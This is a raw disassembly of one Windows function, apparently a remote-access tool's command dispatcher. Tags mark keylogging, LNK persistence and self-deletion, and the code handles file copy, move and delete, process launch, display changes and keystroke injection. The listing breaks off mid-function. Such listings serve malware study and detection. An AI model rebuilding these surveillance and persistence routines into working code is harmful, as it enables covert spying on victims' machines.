Function at 0x4e0b84
Capabilities:
Check for foreground window switch
Check for time delay via gettickcount
Copy file
Create directory
Create process on windows
Delete file
Log keystrokes via polling
Move file
Persist via lnk shortcut
Reference cloudflare dns server
Self delete
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x171
push 0
push 0
dec ecx
jne 0x4e0b8c
push ecx
push ebx
push esi
push edi
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x19]
mov edx, dword [0x470878]
call fcn.00405278
xor eax, eax
push ebp
push 0x4e820e
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [0x540320], 0x805
mov eax, dword [ebp - 0x2c]
movzx eax, byte [eax + 0xc]
mov dword [0x54a438], eax
mov eax, dword [ebp - 0x2c]
movzx eax, byte [eax + 0xc]
add eax, 0xfffffff6
cmp eax, 0xf2
ja case.0x4e0bea.10
mov al, byte [eax + 0x4e0bf1]
jmp dword [eax*4 + 0x4e0ce4]
mov eax, dword [ebp - 0x2c]
mov ebx, dword [eax + 0x10]
push 0x4e8228
push dword [0x54a65c]
push 0x4e823c
lea eax, [ebp - 0xd8]
mov edx, 3
call fcn.0040494c
push 0x4e8228
push dword [0x54a65c]
push 0x4e824c
lea eax, [ebp - 0xdc]
mov edx, 3
call fcn.0040494c
lea eax, [ebp - 0xd8]
call fcn.004db6bc
lea eax, [ebp - 0xdc]
call fcn.004db6bc
cmp ebx, 0xa
jne 0x4e0f43
lea edx, [ebp - 0x8c0]
mov eax, 0x13
call fcn.004ab980
mov eax, dword [ebp - 0x8c0]
mov ecx, dword [0x54a64c]
mov edx, dword [0x54a65c]
call fcn.0046c3a4
test al, al
je case.0x4e0bea.10
mov eax, dword [ebp - 0xd8]
call fcn.00409988
mov eax, dword [ebp - 0xdc]
call fcn.00409988
jmp case.0x4e0bea.10
cmp ebx, 0xb
jne 0x4e0f9a
push 0
mov eax, dword [0x541f14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xd8]
mov edx, 0x4e825c
call fcn.004d948c
test eax, eax
jne case.0x4e0bea.10
lea edx, [ebp - 0x8c4]
mov eax, 0x13
call fcn.004ab980
mov eax, dword [ebp - 0x8c4]
mov edx, dword [0x54a65c]
call fcn.0046d194
mov eax, dword [ebp - 0xdc]
call fcn.00409988
jmp case.0x4e0bea.10
cmp ebx, 0xc
jne 0x4e1059
mov edx, dword [0x541f14]
mov edx, dword [edx]
mov eax, 0x4e8268
call fcn.00404bc8
test eax, eax
jne case.0x4e0bea.10
mov dl, 1
mov eax, dword [0x414c40]
call fcn.0040377c
mov dword [ebp - 0x24], eax
push 0x4e8274
mov eax, dword [0x541f14]
push dword [eax]
push 0x4e8284
lea eax, [ebp - 0x8c8]
mov edx, 3
call fcn.0040494c
mov edx, dword [ebp - 0x8c8]
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
call dword [ecx + 0x38]
lea eax, [ebp - 0x8cc]
mov edx, dword [ebp - 0xdc]
call fcn.00404e90
mov eax, dword [ebp - 0x8cc]
push eax
mov eax, dword [ebp - 0x24]
push eax
call fcn.0046e088
test al, al
je 0x4e104c
lea edx, [ebp - 0x8d0]
mov eax, 0x13
call fcn.004ab980
mov eax, dword [ebp - 0x8d0]
mov edx, dword [0x54a65c]
call fcn.0046d194
mov eax, dword [ebp - 0xd8]
call fcn.00409988
mov eax, dword [ebp - 0x24]
call fcn.004037ac
jmp case.0x4e0bea.10
cmp ebx, 0xd
jne case.0x4e0bea.10
lea edx, [ebp - 0x8d4]
mov eax, 0x13
call fcn.004ab980
mov eax, dword [ebp - 0x8d4]
mov edx, dword [0x54a65c]
call fcn.0046d194
mov eax, dword [ebp - 0xd8]
call fcn.00409988
mov eax, dword [ebp - 0xdc]
call fcn.00409988
jmp case.0x4e0bea.10
mov eax, 0x54a59c
mov edx, dword [ebp - 0x2c]
add edx, 0x20
mov ecx, 0x400
call fcn.00404820
lea edx, [ebp - 0x8d8]
mov eax, 0x125
call fcn.004ab980
mov eax, dword [ebp - 0x8d8]
push eax
lea eax, [ebp - 0x8dc]
mov edx, dword [0x5418e8]
mov edx, dword [edx]
call fcn.00404e90
mov eax, dword [ebp - 0x8dc]
mov ecx, dword [0x54a59c]
pop edx
call fcn.0046dc3c
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x314]
call fcn.0047cc48
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004efcd0
call fcn.004dbb58
jmp case.0x4e0bea.10
lea edx, [ebp - 0x8e0]
mov eax, 0x125
call fcn.004ab980
mov eax, dword [ebp - 0x8e0]
push eax
lea eax, [ebp - 0x8e4]
mov edx, dword [0x5418e8]
mov edx, dword [edx]
call fcn.00404e90
mov eax, dword [ebp - 0x8e4]
xor ecx, ecx
pop edx
call fcn.0046dc3c
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x314]
call fcn.0047cc48
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004efcd0
call fcn.004dbb58
jmp case.0x4e0bea.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
cmp eax, dword [0x54a731]
jne case.0x4e0bea.10
cmp byte [0x540b6c], 0
jne case.0x4e0bea.10
xor eax, eax
push ebp
push 0x4e11fc
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [0x540b6c], 1
cmp byte [0x54a724], 0
je 0x4e11ca
mov byte [0x54a73d], 0
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
mov dword [0x54a8d4], eax
mov dl, 1
mov eax, dword [ebp - 0x28]
call fcn.004df09c
jmp 0x4e11e7
push 0
push 1
push 0
push 0
push 0
mov ecx, dword [0x54a731]
mov edx, 0x76
mov eax, dword [ebp - 0x28]
call fcn.004ddaec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push case.0x4e0bea.10
mov byte [0x540b6c], 0
ret
cmp dword [0x5403a8], 0x52503ff
jb case.0x4e0bea.10
mov eax, dword [ebp - 0x2c]
test byte [eax + 0x10], 0xff
jne 0x4e123c
mov eax, dword [0x541d84]
mov eax, dword [eax]
push eax
mov eax, dword [0x54196c]
mov eax, dword [eax]
mov ecx, 0x4e8290
mov edx, 0x634
call fcn.004aff2c
jmp 0x4e125b
push 0x501
mov ecx, dword [0x541c80]
mov ecx, dword [ecx]
mov edx, dword [0x541768]
mov eax, dword [0x541720]
mov eax, dword [eax]
call fcn.004af874
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
shr eax, 8
mov byte [0x54a810], al
mov eax, 0x54a743
call fcn.004045b8
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x18]
shr eax, 0x10
mov dword [0x54a5c4], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x18]
and eax, 0xffff
mov dword [0x54a5c8], eax
jmp case.0x4e0bea.10
mov eax, dword [0x54196c]
mov eax, dword [eax]
call fcn.004b00bc
mov edx, dword [0x541768]
mov eax, dword [0x541720]
mov eax, dword [eax]
call fcn.004af9ac
cmp dword [0x54a628], 0
je case.0x4e0bea.10
mov eax, 0x54a628
call fcn.004045b8
mov al, byte [0x54a460]
call fcn.004b0e88
jmp case.0x4e0bea.10
lea edx, [ebp - 0x60]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409fe8
mov eax, dword [ebp - 0x60]
call fcn.004ef034
jmp case.0x4e0bea.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x1c]
mov dword [0x54a644], eax
mov eax, dword [0x54a644]
add eax, 0x5b
cmp eax, dword [0x54a6d8]
jae 0x4e133e
push 0
push 0x3e8
mov eax, dword [0x540338]
mov edx, dword [0x54033c]
call fcn.00405968
and eax, 1
xor edx, edx
cmp edx, 0
jne 0x4e133e
cmp eax, 0
je case.0x4e0bea.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
mov dword [0x54a78c], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
mov dword [0x54a790], eax
push 0
push 0
push 0x502
mov eax, dword [ebp - 0x28]
call fcn.0045deb8
push eax
call sub.user32.dll_PostMessageA
jmp case.0x4e0bea.10
push 0
push 0
push 0x505
mov eax, dword [ebp - 0x28]
call fcn.0045deb8
push eax
call sub.user32.dll_PostMessageA
jmp case.0x4e0bea.10
push 0
push 0
push 0x503
mov eax, dword [ebp - 0x28]
call fcn.0045deb8
push eax
call sub.user32.dll_PostMessageA
jmp case.0x4e0bea.10
call fcn.004df2a4
jmp case.0x4e0bea.10
mov eax, dword [0x5415bc]
cmp byte [eax], 1
jne case.0x4e0bea.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
and eax, 0xff
call fcn.004dfd54
jmp case.0x4e0bea.10
mov eax, dword [0x5415bc]
cmp byte [eax], 1
jne case.0x4e0bea.10
call fcn.004dfe80
jmp case.0x4e0bea.10
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x314]
call fcn.0047cc48
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004efcd0
jmp case.0x4e0bea.10
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x314]
call fcn.0047cc48
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004efcd0
call fcn.004dff10
xor edx, edx
mov eax, 1
call fcn.004dff30
jmp case.0x4e0bea.10
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x314]
call fcn.0047cc48
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004efcd0
mov eax, dword [0x540338]
mov edx, dword [0x54033c]
add eax, 0x2710
adc edx, 0
mov dword [0x540428], eax
mov dword [0x54042c], edx
mov eax, dword [ebp - 0x2c]
mov edx, dword [eax + 0x10]
xor eax, eax
call fcn.004d9a18
jmp case.0x4e0bea.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
mov dword [0x540a84], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
mov dword [0x540a80], eax
cmp dword [0x540a80], 0
jg case.0x4e0bea.10
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x314]
call fcn.0047cc48
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004efcd0
mov edx, dword [0x540a84]
mov ax, 2
call fcn.004d9a18
jmp case.0x4e0bea.10
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x314]
call fcn.0047cc48
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004efcd0
mov eax, dword [0x541ef0]
cmp dword [eax], 2
jne 0x4e1511
mov eax, dword [ebp - 0x2c]
mov edx, dword [eax + 0x10]
mov ax, 8
call fcn.004d9a18
jmp case.0x4e0bea.10
mov eax, dword [ebp - 0x2c]
mov edx, dword [eax + 0x10]
mov ax, 1
call fcn.004d9a18
jmp case.0x4e0bea.10
cmp byte [0x5403d8], 2
je case.0x4e0bea.10
cmp byte [0x54a742], 3
jne case.0x4e0bea.10
cmp byte [0x54a724], 0
jne case.0x4e0bea.10
mov dl, 1
mov eax, dword [0x414c40]
call fcn.0040377c
mov dword [ebp - 0x24], eax
push 0
push 0
mov eax, dword [0x54a725]
call fcn.00419750
mov dword [ebp - 0x11], 0
mov dword [ebp - 0xd], 0
push ebp
lea edx, [ebp - 0x8ec]
mov eax, 0xf3
call fcn.004ab980
mov ecx, dword [ebp - 0x8ec]
mov edx, dword [0x541c9c]
mov edx, dword [edx]
lea eax, [ebp - 0x8e8]
call fcn.004048d8
mov eax, dword [ebp - 0x8e8]
call fcn.004e09b0
pop ecx
push ebp
mov eax, dword [0x54a5e4]
call fcn.004e09b0
pop ecx
lea edx, [ebp - 0x15]
mov ecx, 4
mov eax, dword [0x54a725]
mov ebx, dword [eax]
call dword [ebx + 8]
cmp eax, 4
jne 0x4e163f
cmp dword [ebp - 0x15], 0x55662143
jne 0x4e160b
lea edx, [ebp - 0x3c]
mov eax, dword [0x54a725]
call fcn.00470f08
push ebp
mov edx, dword [0x541c9c]
mov edx, dword [edx]
lea eax, [ebp - 0x8f0]
mov ecx, dword [ebp - 0x3c]
call fcn.004048d8
mov eax, dword [ebp - 0x8f0]
call fcn.004e09b0
pop ecx
jmp 0x4e15b9
mov eax, dword [0x54a725]
call fcn.00419730
sub eax, 4
sbb edx, 0
push edx
push eax
mov eax, dword [0x54a725]
call fcn.00419750
push ebp
mov eax, dword [0x54a5d8]
call fcn.004e09b0
pop ecx
push ebp
mov eax, dword [0x54a5dc]
call fcn.004e09b0
pop ecx
mov eax, dword [ebp - 0x24]
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
jle 0x4e1697
lea edx, [ebp - 0x8fc]
mov eax, 0xb
call fcn.004ab980
mov ecx, dword [ebp - 0x8fc]
mov edx, dword [0x541c9c]
mov edx, dword [edx]
lea eax, [ebp - 0x8f8]
call fcn.004048d8
mov edx, dword [ebp - 0x8f8]
lea eax, [ebp - 0x8f4]
call fcn.00404e90
mov eax, dword [ebp - 0x8f4]
push eax
mov eax, dword [ebp - 0x24]
push eax
call fcn.0046e088
jmp 0x4e16cb
lea edx, [ebp - 0x904]
mov eax, 0xb
call fcn.004ab980
mov ecx, dword [ebp - 0x904]
mov edx, dword [0x541c9c]
mov edx, dword [edx]
lea eax, [ebp - 0x900]
call fcn.004048d8
mov eax, dword [ebp - 0x900]
call fcn.00409988
mov eax, dword [ebp - 0x24]
call fcn.004037ac
mov eax, 0x12c
call fcn.004d938c
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x314]
call fcn.0047cc48
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004efcd0
call fcn.004dff10
xor edx, edx
mov eax, 2
call fcn.004dff30
push 5
mov eax, dword [0x541c9c]
call fcn.00404adc
push eax
mov eax, 0x54a5e8
call fcn.00404adc
push eax
mov eax, 0x54a5e4
call fcn.00404adc
push eax
push 0x4e82a0
push 0
call sub.shell32.dll_ShellExecuteA
jmp case.0x4e0bea.10
lea edx, [ebp - 0x3c]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409fe8
lea eax, [ebp - 0x3c]
call fcn.004db6bc
push 1
push 0
push 0
mov eax, dword [ebp - 0x3c]
call fcn.00404a84
push eax
push 0x4e82a0
mov eax, dword [ebp - 0x28]
call fcn.0045deb8
push eax
call sub.shell32.dll_ShellExecuteA
jmp case.0x4e0bea.10
lea edx, [ebp - 0x3c]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409fe8
mov eax, dword [ebp - 0x3c]
call fcn.0040488c
mov ebx, eax
inc ebx
mov eax, dword [ebp - 0x2c]
lea eax, [eax + ebx + 0x20]
lea edx, [ebp - 0x40]
call fcn.00409fe8
mov eax, dword [ebp - 0x40]
call fcn.0040488c
inc eax
add ebx, eax
mov eax, dword [ebp - 0x2c]
lea eax, [eax + ebx + 0x20]
lea edx, [ebp - 0x44]
call fcn.00409fe8
lea edx, [ebp - 0x908]
mov eax, 0xf4
call fcn.004ab980
mov edx, dword [ebp - 0x908]
mov eax, dword [ebp - 0x3c]
call fcn.004049d0
jne 0x4e1816
lea eax, [ebp - 0x40]
call fcn.004db6bc
lea eax, [ebp - 0x44]
call fcn.004db6bc
mov edx, 0x20
mov eax, dword [ebp - 0x44]
call fcn.0040986c
push 0
mov eax, dword [ebp - 0x44]
call fcn.00404a84
push eax
mov eax, dword [ebp - 0x40]
call fcn.00404a84
push eax
call sub.kernel32.dll_CopyFileA
jmp case.0x4e0bea.10
lea edx, [ebp - 0x90c]
mov eax, 0xf5
call fcn.004ab980
mov edx, dword [ebp - 0x90c]
mov eax, dword [ebp - 0x3c]
call fcn.004049d0
jne 0x4e1a65
mov eax, dword [ebp - 0x40]
call fcn.0040488c
cmp eax, 3
jle case.0x4e0bea.10
lea eax, [ebp - 0x40]
call fcn.004db6bc
mov eax, dword [ebp - 0x40]
mov al, byte [eax]
call fcn.00402b3c
mov byte [0x54a914], al
mov eax, dword [ebp - 0x40]
cmp byte [eax + 1], 0x3a
jne 0x4e18a9
mov al, byte [0x54a914]
call fcn.0046b9d8
test al, al
je 0x4e18a9
mov al, byte [0x54a914]
call fcn.004b0b08
test eax, eax
jne 0x4e18a9
lea edx, [ebp - 0x910]
mov al, byte [0x54a914]
call fcn.004b0d04
mov edx, dword [ebp - 0x910]
mov eax, 0x540b68
call fcn.0040460c
jmp 0x4e18b3
mov eax, 0x540b68
call fcn.004045b8
mov eax, dword [ebp - 0x40]
call fcn.0046dddc
test al, al
je 0x4e1926
mov eax, dword [ebp - 0x40]
call fcn.004f929c
mov edx, 2
mov eax, dword [ebp - 0x40]
call fcn.004daa54
cmp dword [0x540b68], 0
je 0x4e1a3f
lea eax, [ebp - 0x918]
push eax
mov ecx, 0x400
mov edx, 3
mov eax, dword [ebp - 0x40]
call fcn.00404ae4
mov ecx, dword [ebp - 0x918]
lea eax, [ebp - 0x914]
mov edx, dword [0x540b68]
call fcn.004048d8
mov eax, dword [ebp - 0x914]
mov edx, 2
call fcn.004daa54
jmp 0x4e1a3f
mov eax, dword [ebp - 0x40]
call fcn.00462eb4
test al, al
je 0x4e1a3f
mov ecx, dword [ebp - 0x28]
mov dl, 1
mov eax, dword [0x46a810]
call fcn.0046aa98
mov dword [ebp - 0xd0], eax
mov eax, dword [ebp - 0xd0]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x54], edx
mov dword [eax + 0x50], 0x4edff4
mov eax, dword [ebp - 0xd0]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x4c], edx
mov dword [eax + 0x48], 0x4ee240
mov eax, dword [ebp - 0xd0]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x64], edx
mov dword [eax + 0x60], 0x4ee878
mov eax, dword [ebp - 0xd0]
add eax, 0x40
mov edx, dword [ebp - 0x40]
call fcn.0040460c
mov eax, dword [ebp - 0xd0]
mov byte [eax + 0x71], 1
mov eax, dword [ebp - 0xd0]
mov dword [eax + 0xc], 1
xor eax, eax
push ebp
push 0x4e19de
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0xd0]
call fcn.0046ab4c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e19e5
mov eax, dword [ebp - 0xd0]
call fcn.004037ac
ret
cmp dword [0x540b68], 0
je case.0x4e0bea.10
mov eax, 0x540b68
call fcn.004045b8
mov al, byte [0x54a914]
call fcn.004b0e88
jmp case.0x4e0bea.10
lea edx, [ebp - 0x920]
mov eax, 0xf6
call fcn.004ab980
mov edx, dword [ebp - 0x920]
mov eax, dword [ebp - 0x3c]
call fcn.004049d0
jne 0x4e1ac0
lea eax, [ebp - 0x40]
call fcn.004db6bc
lea eax, [ebp - 0x44]
call fcn.004db6bc
mov edx, 0x20
mov eax, dword [ebp - 0x44]
call fcn.0040986c
push 3
mov eax, dword [ebp - 0x44]
call fcn.00404a84
push eax
mov eax, dword [ebp - 0x40]
call fcn.00404a84
push eax
call sub.kernel32.dll_MoveFileExA
jmp case.0x4e0bea.10
lea edx, [ebp - 0x924]
mov eax, 0xf7
call fcn.004ab980
mov edx, dword [ebp - 0x924]
mov eax, dword [ebp - 0x3c]
call fcn.004049d0
jne 0x4e1b25
mov eax, dword [0x54a5cc]
call fcn.0046dddc
test al, al
je case.0x4e0bea.10
mov cl, 1
mov dl, 1
mov eax, dword [0x4b1658]
call fcn.004b1a5c
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x5c]
add eax, 0x30
mov edx, dword [ebp - 0x40]
call fcn.0040460c
mov eax, dword [ebp - 0x5c]
mov byte [eax + 0x34], 4
mov eax, dword [ebp - 0x5c]
call fcn.0041f6ac
jmp case.0x4e0bea.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
and eax, 1
dec eax
sete byte [0x54a88c]
lea eax, [ebp - 0x44]
call fcn.004db6bc
cmp dword [ebp - 0x44], 0
jne 0x4e1b4f
lea edx, [ebp - 0x44]
mov eax, dword [ebp - 0x3c]
call fcn.0046dd54
lea eax, [ebp - 0x3c]
call fcn.004db6bc
mov eax, 0x54a880
mov edx, dword [ebp - 0x3c]
call fcn.0040460c
mov eax, 0x54a884
mov edx, dword [ebp - 0x40]
call fcn.0040460c
mov eax, 0x54a888
mov edx, dword [ebp - 0x44]
call fcn.0040460c
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
mov dword [0x540acc], eax
cmp dword [0x540acc], 0
jg case.0x4e0bea.10
mov eax, dword [ebp - 0x28]
call fcn.004e03d4
jmp case.0x4e0bea.10
lea eax, [ebp - 0x1d0]
push eax
push 0
push 0
call sub.user32.dll_EnumDisplaySettingsA
mov dword [ebp - 0x1a8], 0x1c0000
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
shr eax, 0x10
mov dword [ebp - 0x164], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
and eax, 0xffff
mov dword [ebp - 0x160], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
mov dword [ebp - 0x168], eax
push 1
lea eax, [ebp - 0x1d0]
push eax
call sub.user32.dll_ChangeDisplaySettingsA
jmp case.0x4e0bea.10
call fcn.004e0914
jmp case.0x4e0bea.10
cmp dword [0x549430], 0x200000
jg case.0x4e0bea.10
cmp byte [0x5404c0], 1
jb case.0x4e0bea.10
mov eax, dword [0x540338]
mov dword [0x540348], eax
mov eax, dword [0x54033c]
mov dword [0x54034c], eax
mov eax, dword [ebp - 0x2c]
mov ebx, dword [eax + 0x10]
mov eax, dword [ebp - 0x2c]
mov esi, dword [eax + 0x14]
push 0x14
call sub.user32.dll_GetKeyState
and ax, 1
cmp ax, 1
sete al
mov edx, dword [ebp - 0x2c]
test byte [edx + 0x18], 1
setne dl
xor al, dl
je 0x4e1c8f
push 0
push 0
push 0
push 0x14
call sub.user32.dll_keybd_event
push 0
push 2
push 0
push 0x14
call sub.user32.dll_keybd_event
mov eax, dword [ebp - 0x2c]
test byte [eax + 0x18], 1
setne byte [0x540b90]
push 0x90
call sub.user32.dll_GetKeyState
and ax, 1
cmp ax, 1
sete al
mov edx, dword [ebp - 0x2c]
test byte [edx + 0x18], 2
setne dl
xor al, dl
je 0x4e1cd2
push 0
push 0
push 0
push 0x90
call sub.user32.dll_keybd_event
push 0
push 2
push 0
push 0x90
call sub.user32.dll_keybd_event
push 0x91
call sub.user32.dll_GetKeyState
and ax, 1
cmp ax, 1
sete al
mov edx, dword [ebp - 0x2c]
test byte [edx + 0x18], 4
setne dl
xor al, dl
je 0x4e1d15
push 0
push 0
push 0
push 0x91
call sub.user32.dll_keybd_event
push 0
push 2
push 0
push 0x91
call sub.user32.dll_keybd_event
cmp ebx, 0x14
je case.0x4e0bea.10
cmp ebx, 0x90
je case.0x4e0bea.10
cmp ebx, 0x91
je case.0x4e0bea.10
mov edi, ebx
mov eax, edi
and eax, 0xfffffffe
sub eax, 0xa0
je 0x4e1d5e
sub eax, 2
je 0x4e1d50
sub eax, 2
je 0x4e1d57
jmp 0x4e1d63
mov edi, 0x11
jmp 0x4e1d63
mov edi, 0x12
jmp 0x4e1d63
mov edi, 0x10
cmp edi, 0x10
jne 0x4e1d80
test esi, 0x80000000
je 0x4e1d79
mov byte [0x540b94], 0
jmp 0x4e1d80
mov byte [0x540b94], 1
cmp edi, 0x12
jne 0x4e1def
test esi, 0x1000000
jne 0x4e1dc1
test esi, 0x80000000
je 0x4e1dac
mov al, byte [0x4e82a8]
not eax
and al, byte [0x540ab0]
mov byte [0x540ab0], al
jmp 0x4e1e56
mov al, byte [0x4e82a8]
or al, byte [0x540ab0]
mov byte [0x540ab0], al
jmp 0x4e1e56
test esi, 0x80000000
je 0x4e1ddd
mov al, byte [0x4e82ac]
not eax
and al, byte [0x540ab0]
mov byte [0x540ab0], al
jmp 0x4e1e56
mov al, byte [0x4e82ac]
or al, byte [0x540ab0]
mov byte [0x540ab0], al
jmp 0x4e1e56
cmp edi, 0x11
jne 0x4e1e56
test esi, 0x1000000
jne 0x4e1e2a
test esi, 0x80000000
je 0x4e1e18
mov al, byte [0x4e82b0]
not eax
and al, byte [0x540ab0]
mov byte [0x540ab0], al
jmp 0x4e1e56
mov al, byte [0x4e82b0]
or al, byte [0x540ab0]
mov byte [0x540ab0], al
jmp 0x4e1e56
test esi, 0x80000000
je 0x4e1e46
mov al, byte [0x4e82b4]
not eax
and al, byte [0x540ab0]
mov byte [0x540ab0], al
jmp 0x4e1e56
mov al, byte [0x4e82b4]
or al, byte [0x540ab0]
mov byte [0x540ab0], al
cmp word [0x54a868], 0
je 0x4e1e62
mov ebx, edi
mov eax, dword [0x5416bc]
cmp dword [eax], 0
jne 0x4e1e71
call fcn.004d3e74
mov eax, dword [0x5415b4]
cmp dword [eax], 0
jne 0x4e1e80
call fcn.004d5194
mov eax, dword [0x5417b8]
cmp dword [eax], 0
jne 0x4e1e8f
call fcn.004d58f0
cmp byte [0x54a574], 0
je 0x4e1f11
mov al, byte [0x4e82b8]
cmp al, byte [0x540ab0]
jne 0x4e1f11
cmp ebx, 0x41
jl 0x4e1eaf
cmp ebx, 0x5a
jle 0x4e1ee8
cmp ebx, 0x30
jl 0x4e1eb9
cmp ebx, 0x39
jle 0x4e1ee8
cmp ebx, 0x60
jl 0x4e1ec3
cmp ebx, 0x6f
jle 0x4e1ee8
cmp ebx, 0xba
jl 0x4e1ed3
cmp ebx, 0xc0
jle 0x4e1ee8
cmp ebx, 0xdb
jl 0x4e1ee3
cmp ebx, 0xde
jle 0x4e1ee8
cmp ebx, 0x20
jne 0x4e1f11
test esi, 0x80000000
jne case.0x4e0bea.10
mov edx, esi
mov eax, ebx
call fcn.004e0800
xor esi, 0x80000000
mov edx, esi
mov eax, ebx
call fcn.004e0800
jmp case.0x4e0bea.10
mov edx, esi
mov eax, ebx
call fcn.004e0800
jmp case.0x4e0bea.10
cmp dword [0x549430], 0x200000
jg case.0x4e0bea.10
cmp byte [0x5404c0], 1
jb case.0x4e0bea.10
mov eax, dword [0x540338]
mov dword [0x540348], eax
mov eax, dword [0x54033c]
mov dword [0x54034c], eax
mov eax, dword [0x5416bc]
cmp dword [eax], 0
jne 0x4e1f63
call fcn.004d3e74
mov eax, dword [0x5415b4]
cmp dword [eax], 0
jne 0x4e1f72
call fcn.004d5194
mov eax, dword [0x5417b8]
cmp dword [eax], 0
jne 0x4e1f81
call fcn.004d58f0
mov eax, dword [0x5416bc]
cmp dword [eax], 0
jle 0x4e216f
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
cmp eax, 6
ja case.0x4e0bea.10
jmp dword [eax*4 + 0x4e1fa5]
mov eax, 0x12
call fcn.004d3a2c
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 9
call fcn.004d3a2c
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 9
call fcn.004d3a44
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x12
call fcn.004d3a44
jmp case.0x4e0bea.10
mov eax, 0x12
call fcn.004d3a2c
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x1b
call fcn.004d3a2c
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x1b
call fcn.004d3a44
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x12
call fcn.004d3a44
jmp case.0x4e0bea.10
mov eax, 0x11
call fcn.004d3a2c
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x1b
call fcn.004d3a2c
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x1b
call fcn.004d3a44
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x11
call fcn.004d3a44
jmp case.0x4e0bea.10
mov eax, 0x11
call fcn.004d3a2c
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x10
call fcn.004d3a2c
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x10
call fcn.004d3a44
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x11
call fcn.004d3a44
jmp case.0x4e0bea.10
mov eax, 0x11
call fcn.004d3a2c
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x20
call fcn.004d3a2c
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x20
call fcn.004d3a44
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x11
call fcn.004d3a44
jmp case.0x4e0bea.10
mov eax, 0x11
call fcn.004d3a2c
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x12
call fcn.004d3a2c
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x2e
call fcn.004d3a2c
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x2e
call fcn.004d3a44
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x12
call fcn.004d3a44
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x11
call fcn.004d3a44
jmp case.0x4e0bea.10
mov eax, dword [0x5415b4]
cmp dword [eax], 0
jle 0x4e2447
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
cmp eax, 6
ja case.0x4e0bea.10
jmp dword [eax*4 + 0x4e2193]
push 0x12
mov eax, dword [0x541da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x541da4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 9
mov eax, dword [0x541da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x541da4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 9
